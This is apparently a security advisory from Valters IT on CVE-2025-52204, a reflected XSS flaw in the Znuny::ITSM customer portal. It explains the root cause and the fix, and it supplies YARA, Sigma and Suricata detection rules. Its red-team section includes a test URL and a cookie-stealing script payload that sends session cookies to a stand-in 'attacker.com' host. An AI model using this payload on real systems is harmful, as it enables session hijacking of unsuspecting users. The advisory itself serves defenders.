CVE-2025-52204

Executive Summary

CVE-2025-52204 is a Cross-Site Scripting (XSS) vulnerability identified in Znuny::ITSM version 6.5.x. The flaw resides in the customer.pl endpoint, specifically within the OTRSCustomerInterface parameter. An attacker can inject arbitrary JavaScript or HTML into the parameter, which is then reflected back to the victim's browser without proper sanitization. This allows for session hijacking, credential theft, or defacement. The CVSS score of 6.1 (Medium) reflects the need for user interaction and the lack of direct privilege escalation, but the impact on confidentiality and integrity is notable. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). Znuny::ITSM is a standalone ITSM application based on Perl. The risk is limited to organizations that self-host the application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the lack of authentication and the potential for session hijacking make it a viable phishing vector.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The customer.pl script accepts the OTRSCustomerInterface parameter via GET or POST requests. The parameter value is used to render the customer interface selection dropdown or similar UI element. Due to insufficient input validation and output encoding, an attacker can inject a payload such as:

<script>alert('XSS')</script>

When a victim visits a crafted URL like:

https://target/customer.pl?OTRSCustomerInterface=<script>alert('XSS')</script>

The script executes in the victim's browser context. The attack can be delivered via email phishing, forum posts, or other social engineering methods.

The root cause is the lack of proper HTML entity encoding or sanitization of the OTRSCustomerInterface parameter before it is reflected in the response. Znuny::ITSM likely uses a templating engine that does not automatically escape output for this specific parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

my $interface = $param{OTRSCustomerInterface};
print "<option value=\"$interface\">$interface</option>";

Patched Code (Conceptual):

use HTML::Entities;
my $interface = $param{OTRSCustomerInterface};
my $safe_interface = encode_entities($interface);
print "<option value=\"$safe_interface\">$safe_interface</option>";

The patched version uses HTML::Entities::encode_entities to convert special characters (e.g., <, >, ") into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team

Since no public exploit code exists, a manual approach is required. Use a browser or curl to test:

curl -v "http://target/customer.pl?OTRSCustomerInterface=<script>alert('XSS')</script>"

If the alert fires, the vulnerability is confirmed. For a more sophisticated attack, craft a payload to steal cookies:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

1. Deploy Znuny::ITSM 6.5.x in a Docker container or VM.
2. Access the customer portal.
3. Inject the XSS payload via the OTRSCustomerInterface parameter.
4. Observe the reflected script execution.

Blue Team

To detect exploitation attempts, monitor web server logs for suspicious patterns in the OTRSCustomerInterface parameter:

grep -E "OTRSCustomerInterface=.*<script" /var/log/apache2/access.log

Implement a Web Application Firewall (WAF) rule to block requests containing <script or other HTML tags in the parameter.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /customer.pl with OTRSCustomerInterface parameter containing HTML/JavaScript.
• Logs: Web server access logs showing OTRSCustomerInterface=<script> or similar patterns.
• Endpoint: Unusual outbound connections from the Znuny server to attacker-controlled domains (if cookie theft is attempted).
• File: No file-based IOCs expected for reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2025_52204_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting Znuny::ITSM customer.pl"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52204"
    strings:
        $xss_payload = /OTRSCustomerInterface=.*<script/i
        $xss_event = /OTRSCustomerInterface=.*on\w+=/i
    condition:
        any of them
}

Sigma Rule

title: Znuny ITSM XSS Attempt via OTRSCustomerInterface
id: cve-2025-52204
status: experimental
description: Detects reflected XSS attempts against Znuny::ITSM customer.pl
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'OTRSCustomerInterface='
        cs-uri-query|re: '(?i)<script|on\w+='
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52204 Znuny ITSM XSS Attempt"; flow:to_server; content:"/customer.pl"; http_uri; content:"OTRSCustomerInterface"; http_uri; pcre:"/OTRSCustomerInterface=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the OTRSCustomerInterface parameter if not required, or restrict access to the customer.pl endpoint via firewall rules.
2. Short-term: Apply input validation and output encoding to the parameter. Use a library like HTML::Entities in Perl.
3. Long-term: Upgrade to a patched version of Znuny::ITSM once available. Monitor vendor advisories.
4. Compensating Controls: Deploy a WAF with rules to block XSS patterns. Implement Content Security Policy (CSP) headers to mitigate script execution.
5. User Awareness: Train users not to click suspicious links, especially those containing query parameters.

Valters IT